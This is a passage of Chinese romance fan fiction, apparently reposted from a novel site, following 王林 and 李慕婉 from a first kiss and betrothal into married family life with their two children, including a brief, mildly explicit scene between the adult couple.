我害怕又期待,但是我没有躲开,定在原地等着他,阿兄呼吸很轻,却被王浩打断了。 阿兄的表情变了。 王浩走后,王卓又来了,阿兄呼吸重了,我看见他眉眼的一股戾气。 应该没错,阿兄不高兴。 原以为王卓走后,我们还可以继续,可他二人再次折返,阿兄鼻尖几乎碰到我,却又打断了。 阿兄生气了。 我也无奈。 他让我在原地等他,真替王卓和王浩担忧,但愿阿兄下手能轻一些。 阿兄回来时,不悦之色已经不见。 保重吧,王浩王卓。 我们坐在清平镇外的塔楼上,晚秋的夜风凉,若非想着好看,早知穿厚一些了。 阿兄似乎察觉到我的不适,将外袍脱下给我御寒。 远处港口船头点着灯火,塔楼上把整个清平镇景色收入眼底,天灯升起。 阿兄的臂弯与我贴的很近,我缓缓靠在他肩头,突如其来的吻让我无处可躲。 阿兄有些霸道,彼此都很生疏,他引着我,全身无力,似乎喝了醉一般,软趴趴的,只能任阿兄带领,渐渐的,那吻变得温柔又强势,我仿若窒息了,无奈之下只能推开他。 松开时,他的眸子还是带着涣散的,不舍与欲念交织,我也一样。阿兄没有进一步动作,但是他看向我的神情,都是温柔,他一遍遍抚着我的轮廓。 “婉儿,我们早些成婚吧。” 我含着热泪,欣喜若狂,依偎在阿兄怀里,他把冷风挡下,我感受他身上的暖意,那是阿兄的气息。 *** 婚期定在秋后,我期待这天的到来,以前京城所见才子众多,踏入李家门槛求亲之人无数,却从未想过我的夫君会是何样的。 我坐在床榻前,火红的帷幔映着他的身影。 阿兄说:“婉儿,往后年年相守,岁岁相伴。” 我与阿兄额心相抵,我栽入他怀中,依着他。那是我余生中,最稳固的靠山。 我的夫君并非是那京城的高门子弟,也非朝中新贵。 我与自己说:我的夫君就只会是阿兄,那是一个不带任何杂念,会不顾一切奔向我的人,他是王林。 往后我们会在竹林小院生活,我炼丹制药,阿兄写话本谋生,爹娘康健,我与阿兄举案齐眉,长相厮守,哥哥药铺风生水起。还会有我们的孩子,我教孩子弹琴识药,阿兄教他们识字念书…… 我想与阿兄,风月常新,细水长流。【你现在阅读的是魔蝎小说 moxiexs】 81、午后[番外] 竹林小院。 李慕婉捧着托盘,敲了两声门框未等王林应便自顾推门进了。 “阿兄,婉儿刚沏的茶,你温书久坐,偶尔也要出去透透气,周婶和王叔出去了,婉儿晚些也要去寻花影,午饭在锅里,你记得吃。” “嗯。”王林翻书时应了一声,余光映着她裙摆的颜色,又觉不对劲,这里明明是他家,怎得她一声声嘱咐,倒显得自己才是客人? “阿兄,婉儿出去了。” “早些”话未说完,待他再抬眸时,人影已经出去了,王林听见院门开了又关的声音,沉叹了一声。 长木桌上的茶香入鼻,他捧起茶盏,品了一口,透着不可察觉的笑意。 屋内似还有她留下的气息,午后的日光洒在屋檐下,小院静谧。 昏暮时,院外有了动静,未见其人,先闻其声。 “阿兄,婉儿回来了。”李慕婉鬓间出了细汗,撑在西厢房窗台外朝里看,王林还在书案前温书。 晚风绕在她身后,将碎发吹起,少年视线寻声而去,目光不自觉变得温柔,沐浴在余晖下的人漾出暖笑,冲散他温书整日的疲惫。 “嗯。” 李慕婉似在那张平日冰冷的面容上瞧见几分笑意。 “阿兄,你在笑吗?” 王林未作声,合书起身,及近窗台,盯着汗珠沿着她轮廓滑动,深眸里映着她的笑脸。 “阿兄?”李慕婉歪头一脸茫然。 “吱”的一声,窗毫不留情地关了。 李慕婉蹙起眉,一脸无辜地呢喃,“阿兄这是,又怎么了?” 王林侧回身,在她看不见的屋内,少年笑如朗月入怀,把不自知的爱意藏起。【你现在阅读的是魔蝎小说 moxiexs】 82、天伦[番外] 长街点起烟火,人流陆续归家,姐弟俩从学堂下学,摇摇晃晃踩着小步,终于看见王家铺子。 王林瞧着时辰,从后院端出膳食,眼神温柔朝柜台的李慕婉瞧了眼。 “阿兄,依依和思礼还没下学呢。”李慕婉在拨算珠,闻着厨房里飘出的香味,今日进药材和丹药的单子较多,木雕的也不少,她算完最后一笔账,规整账台。 王林搁下碗筷朝她走去,手臂自然环过腰身,理顺她额前垂下的发丝,“算着时辰也该到了,婉儿累了吧。” 近日许立国被王林遣回清平镇帮衬李奇庆药铺生意,便没有接送两人下学,王依依去学堂前拍着小胸脯跟爹娘保证自己能行,还能照顾好弟弟。 “娘亲,爹爹。”王依依牵着王思礼跨入铺子门槛,身后的书箱压着小背,两人面颊红通通的,还喘着息,想来是走累了。 王思礼仰起小脑袋也跟着一块喊爹娘。 夫妻两抬眼一瞧,小人儿已经卸下书箱,爬上小凳撑起身子,往长木桌凑前,深吸一口。 “好香啊,爹爹今日做的什么好吃的?”王依依摸着小肚子咕咕叫,仰头去看二人,王思礼也学着姐姐的动作凑前嗅了嗅。 铺外响起曾父训斥大牛的声音,王依依扭头正要看个究竟。 “你们爱吃的,乖,让爹爹带你们去净手。”李慕婉目光柔和,俯身蹲下,擦净王思礼面颊的汗珠,又替王依依理顺鬓间贴的乱发。 “爹爹,”王依依看着王林,撒娇地张开手臂,“要抱。” 王林已经蹲下身,展开双臂,两姐弟相视一笑,古灵精怪,纵入爹爹怀里,他一手一个轻而易举抱起,起身转向后院。 李慕婉看着父子三人,后院传来孩童的嬉闹,她已经见怪不怪,定然又玩起了水仗,温婉的面容看不见岁月的痕迹,扬起的笑意暖人。 碗筷摆好,再盛好汤,后院笑声越发急促,李慕婉知晓定然又是王林给两人拋了起来,不然不会笑得这般无节制。 她叮嘱道:“阿兄,洗好了便出来吧,饭菜要凉了。” “知道了婉儿。”他拍了拍两人的小腚,“去吧,娘亲等着呢。” 两人个子不够,王依依尚能自己爬上小凳,王林举着王思礼腋下,给他抱上去,二人坐得板正,小手整齐叠在桌前等食。 李慕婉给两人备了空碗,各放一只鸡腿,王思礼两眼放光,“哇,娘亲,今日吃鸡腿么?” “对啊,爹爹特意杀的鸡,思礼和姐姐念书用脑辛苦,又逢长身体,得多吃一些。”李慕婉替他卷好衣袖,以免沾了油渍。 王依依年岁大些,很自觉给自己卷,也不用爹娘帮忙。 王林夹了一块肉放入她碗里,“婉儿吃。” 李慕婉笑的温婉,也给他夹,“阿兄也吃。” 姐弟二人吃得欢快,见爹爹这般言传身教,王依依手里咬了一口的鸡腿也要递给李慕婉,“娘亲也吃。” “依依吃,娘亲这儿有。”李慕婉轻推她手腕。 “娘亲有是爹爹给的,这是依依给的,不一样。”王依依坚持。 李慕婉瞧了王林一眼,与他会心一笑。 王林点头让她不要拂了孩子心意,王思礼这边也举着,晃了晃,“爹爹也吃。” “思礼不怕爹爹咬了便没了?”王林挑出笑意,王思礼回想起爹爹一口吃掉了娘亲给自己剥的地瓜,他很认真地转着眼珠思索,王林也耐心等他做决定。 良久,王思礼再往前递,“爹爹吃。” 两人心要化了,这一回,王林仅是咬下小口,“乖,爹爹吃过了,思礼自己吃。” 王依依晃着小腿,嘴里嚼着肉这才想起来问:“娘亲,鸡腿哪来的?” 李慕婉瞥了王林一眼,不忍心告知,“你问爹爹。” 屋外又传来曾家铁铺锤炼声,还有街角贩卖的叫声,车马行人的吵闹,王依依追着问:“爹爹,哪来的啊?” “就咱家后院养的啊。”王林坦然告知,故作镇定道。 “哦。”王依依咽下吃食,旋即忽觉不对。 “啊?是小花吗?”姐弟二人下嘴的动作顿了,满脸诧异望着王林,又看看李慕婉,似要等待娘亲的肯定。 李慕婉深吸口气,无奈摸摸两人的头,却为时已晚。 “呜哇啊啊啊……”两人嘴里还含着吃的,眼泪霎时出来了,哭的稀里哗啦,“小花……” 边哭还一边抽抽,小肩膀一耸一耸的,“我的小花……” “爹爹你坏,为何要杀我的小花……” 李慕婉神色抱歉,王林搂过她示意无妨,隔着桌子哄着二人,“依依,思礼,鸡腿好吃吗?” 两人哭着还知道回话,哽咽道:“好,好吃啊。” 李慕婉见状哭笑不得,也哄道:“那等明日市集开了,让爹爹带你们再去买一只回来养着,可好?” “好。” 王依依睁大眼睛问:“那养大了还吃吗?” “依依喜欢吃鸡腿吗?”王林不答引着她思绪。 “喜欢。” “思礼呢?” “喜欢。” “嗯。” 三言两语便把孩子的情绪化了,注意力也散没了,哭过后与没事人一样。 “把眼泪擦了,专心吃饭。”王林温声教导。 王依依抬袖手臂蹭干了泪,又用另一只手去给王思礼擦,哄着弟弟,“思礼不哭,明日和姐姐一块去市集,挑一只比小花更大的,就叫大花。” “好。”王思礼奶声奶气应道。 “娘亲,鸡腿,香!” “吃吧,爹爹再给你们盛点汤。” 汤盛好了,李慕婉吹凉喂,“好喝吗?” 两人异口同声,“好喝。” “吃好了让爹爹教你们做功课。” 两人晃着小腿,一边吃一边笑。 用完晚饭,两人做完功课在后院玩了小会儿,李慕婉将账本锁好,吹了铺子的烛火,天彻底暗下,街道灯火明亮,曾家铺子的铁星子还冒着微弱的光,堂屋内是曾父训斥大牛的声音,大牛绕着桌子跑,喊着不敢了。 王林锁上门,牵起李慕婉的手下阶。 王依依和王思礼站在青石板上侧耳倾听,愣着不走。 “你俩做什么呢?”王林俯身打量小人儿,寻着视线,是大牛家的位置。 李慕婉挽过王林手臂自顾向前,念着:“阿兄,要不把依依和思礼送去大牛家让曾大哥也管管?” “我觉着成。”王林附和。 “嗯?”两人小脑袋一转,爹娘走远了,连忙跑上去,“爹爹娘亲,怎么又不等我们?” “你们忙着呢。”夫妻两异口同声。 “阿兄,你看。”李慕婉指着夜幕里的星点,夏日星辉铺满了银河,两个人步子慢,孩子都在后头跟着。 “嗯,今晚星月出来的早,婉儿若喜欢,咱们回院里坐着也能看。” 王依依牵起弟弟,望着爹娘如胶似漆的背影,“思礼,今晚回去姐姐带你睡。” “姐姐,爹爹娘亲不跟我们睡吗?” 王依依一副意味深长的语气,“爹爹不都说了,要回去与娘亲看星星,不知这回又要看多晚。” 以往几次,二人在池子里泡得晚,回去已是后半夜,王依依问过爹爹几回,王林都道带着娘亲赏月去了。 王依依托着小脑袋不明白,月色再好看,也没有睡觉重要,大人的世界果然与她认知不同。 譬如爹爹总爱寻着娘亲身影,好似眼睛就是长在娘亲身上的,娘亲每一句话他都记在心里,还要一次次教弟弟和自己也要好好爱护娘亲。 祖父祖母曾与自己说,娘亲是指引爹爹回王家村的明灯,王依依不懂,王思礼也不懂。 她还不懂如何是爱,但知晓听话懂事爹娘就会高兴,爹爹说这就是爱。 街灯照着长影,李慕婉头偏向王林肩头,软声撒娇,“阿兄,婉儿有些累了。” “快到了。” “阿兄……” 王林轻笑,蹲下身,宠溺道:“上来。” 李慕婉俯身趴上他结实的宽背。 身后小人儿见状,举起跺脚吵着,“爹爹,我们也要!” 王林背起李慕婉转身,两人奔过来,他半倾下身,张开双臂,一手抱一个,“这会儿可都公平了。” 姐弟俩窝在王林臂弯里“咯咯”直笑,伸开小手臂迎着夏夜的凉。 “阿兄,你累不累?”李慕婉捏捏儿女的脸蛋。 月色清冷,混着人声也不由柔了许多,温润的轮廓露出心满意足的暖意,他道:“不累。” “王掌柜,好福气啊。”行人被这显眼的嬉闹引了注意,与王林问候。 王林颔首点头,李慕婉恨不得藏起脸,王依依与王思礼还不知娘亲是羞了,喊着嗓音与街邻礼貌问候:“张大爷,吃了么?” “吃了吃了。” “阿兄,走吧。” “娘亲,你怎么了?”王思礼睁大眼珠子,歪头去寻藏起面颊的李慕婉。 王林迎着晚风挑唇,嘴角挂着一丝坏笑,知道她怎么了。 明月高悬,挂在稀疏云层后,身影慢慢消失长街。 回到宅子,王林在院里教孩子们念诗,李慕婉躺在摇椅乘凉,听着王林与孩子们谈论诗文的声音,王依依抢着话,她到了表达的年纪,话题牵出来后便难以平息,王思礼转着小脑袋思索爹爹和姐姐说的话。 凉风乘在面颊,扫开李慕婉鬓边发,她仰望黑夜星辉,面容泛出温柔的笑,无比享受此刻的安宁。 蝉鸣在夜里喧叫,夜色渐浓,王思礼哈欠连连,爬下矮凳跑到李慕婉摇椅边,晃着她手臂,一只手揉眼睛,“娘亲,娘亲,思礼困了。” 李慕婉轻柔抱起,王思礼便这么躺在她怀里,她呵气如兰,唱着歌谣哄睡,轻拍小人儿的背。 王依依还靠在爹爹怀里念书,念着念着也打起哈欠,王林见状合上书。 指尖刮女儿的小鼻,“依依也困了,去睡吧,明日还要去学堂呢。” 王林起身去抱过李慕婉怀里的王思礼,“待我我哄睡孩子们,再陪婉儿赏月” 李慕婉点头,“嗯。” 王依依勾着王林的脖颈,“爹爹,你陪娘亲赏月,依依能哄弟弟睡。” 王林摊开被褥,先放了王思礼,王依依自己爬入被褥,又扯过褥子盖好,侧身手臂护着王思礼,一只眼朝王林眨,仿若在说,爹爹交给她放心就是了。 烛火晃起昏光,王林吻在儿女额间轻声说:“依依最懂事了。” 他退出去时吹灭烛台,屋内只留一盏油灯。 李慕婉斜倚着房外梁柱,双手叠在腹部的位置,见王林出来,张开双臂。 王林轻掩门,视线忍不住瞧那月下美人,下阶后手臂用力,李慕婉便坐在他臂弯了,从廊下绕过院子,头顶几乎碰到垂下的海棠枝。 他在院里坐下,双臂环住她,禁锢在怀里,面颊贴着李慕婉发丝,十指相扣。 “阿兄,爹娘在王家村不知怎么样了。”李慕婉坐在他腿上,靠着胸膛。 “娘啊,给依依和思礼又做衣裳呢吧,爹呢,少接了木雕生意后,变着法子给孩子们雕玩具儿。”王林脑中浮过爹娘每日在堂屋的身影,思念涌上心头。 “等依依和思礼学堂放假了,咱们回一趟王家村,看看爹娘,还有哥哥。”李慕婉说。 “好,依婉儿的。” 高松漏疏月,落影如画地,院子蝉鸣停了,王林说:“婉儿,夜深了,回屋吧。” 身影消失在夜幕里,荷塘的莲花下锦鲤安睡,正屋的喘息沉沉传出。 王思礼翻身,小手露出薄衾,王依依眯着睡眼,小心翼翼将弟弟的手臂放入被褥,“思礼乖,不许掀被子,着凉要喝药的。” “姐姐,”王思礼迷糊睡音喊了两声,“姐姐……” 王依依似乎听见隔壁屋传来东西掉落的声音,“爹爹娘亲还赏月呢……” 王思礼又睡熟了,小手抓着姐姐的一缕发,王依依也睡沉了,哈喇子沿着嘴角流入王思礼的衣袖,浸湿褥枕,梦里回到王家村田野上,爹爹娘亲,祖父祖母,舅舅弟弟一块追蝴蝶玩儿,小脸笑意不下。 “阿兄,你轻,轻些……”李慕婉脚腕抵在他肩头,“别吵醒了孩子们。” “无碍,”王林肩背流出汗珠,“他二人睡着了,打雷都醒不来,婉儿,唤吧,别忍着……” 李慕婉忍着声,却被他咬在脖颈的酥/软泄了力。 “啊——”撞着床板的动静“吱呀吱呀”,吵着停在海棠枝互相厮磨的夜莺,歪头朝正屋注视,动静有节奏的响,夜莺似习以为常,又将头埋入羽毛里。 翌日晨曦,王依依和王思礼吃完朝食,背起书箱,李慕婉挽好发从正屋出来,擦净两人脸上残留的食物。 “乖,路上当心些,别贪玩,下学爹爹和娘亲去接你们。” 王依依歪头眯眼,打量状:“娘亲,你们昨夜赏月又赏很晚么?” 李慕婉故作镇定应她,王依依盯着她脖颈下咬出的红痕,“娘亲,你脖子被野蚊子咬了?” “什么野蚊子?”正下阶的王林闻言倒想看看怎么回事。 “娘亲脖颈,”王依依翻着书箱寻驱蚊药,“祖母说夏日蚊虫多,野蚊子咬人最痒了,依依给娘亲拿药。” 她小手捧着祛痒膏,王林拿过来,指尖贴在李慕婉脖颈,打眼一瞧,原是昨夜咬的,他指腹摩挲,挑眉对李慕婉说:“野蚊子咬的么?” “阿兄,别胡说。”李慕婉推推他 王林不让,背影挡下儿女的视线,俯身朝她落吻,又强调一句,挑眉故意坏笑,“嗯,野蚊子咬的!” 王思礼扯着王林衣摆,“爹爹,上学要迟到了。” 王林拎起二人书箱,“走,爹爹送你们去学堂。” 走出两步,王依依扭头问:“娘亲也去可好?” 李慕婉思虑后应下,药铺晚些去无妨,她不愿扫了孩子们的兴。 “好!” 王思礼与王依依笑得张牙舞爪,一人一边去牵了娘亲的手,王林见状蹙起眉,“你们都牵了娘亲,那爹爹牵什么?” 王思礼挠挠头,他想牵爹爹,可也想牵娘亲,王林跨出步子,拉起他小手,另一只手不动声色地覆在李慕婉腰后,一本正经说:“爹爹替思礼保护娘亲。” 王依依朝娘亲挤眉弄眼,似在控诉爹爹又骗小孩玩儿,爹爹明明是想要黏着娘亲。 李慕婉笑得动人,晨阳的光束落在身侧,俨若莲花惹了晨露,盈盈如水,王依依贴着她走,忍不住往她腰间嗅,“娘亲好香。” “嗯?”李慕婉俯视瞧她,被她模样逗笑了。 欢声笑语出了宅子,风过时搅动池子盛开的莲,早晨觅食的雀回了巢,姐弟俩入了学堂,两夫妻才离去。 长街烟火,摊铺冒着朝食的热气,王林手心攥着她,二人漫步街边,时而望向远处,时而相视回望彼此,李慕婉见王林唇角总是溢着笑,银发抚过额前,温润儒雅,她侧了头,枕在他肩头,王林俯视,神色温柔盯着她侧脸。 下颚轻抵头顶,发丝还残留昨夜的依兰香,若隐若现中瞧见那块王依依口中“野蚊子”咬的红痕。 烟火入眸,人声浸耳,朝阳把两人影子拉长,叠成一层。【你现在阅读的是魔蝎小说 moxiexs】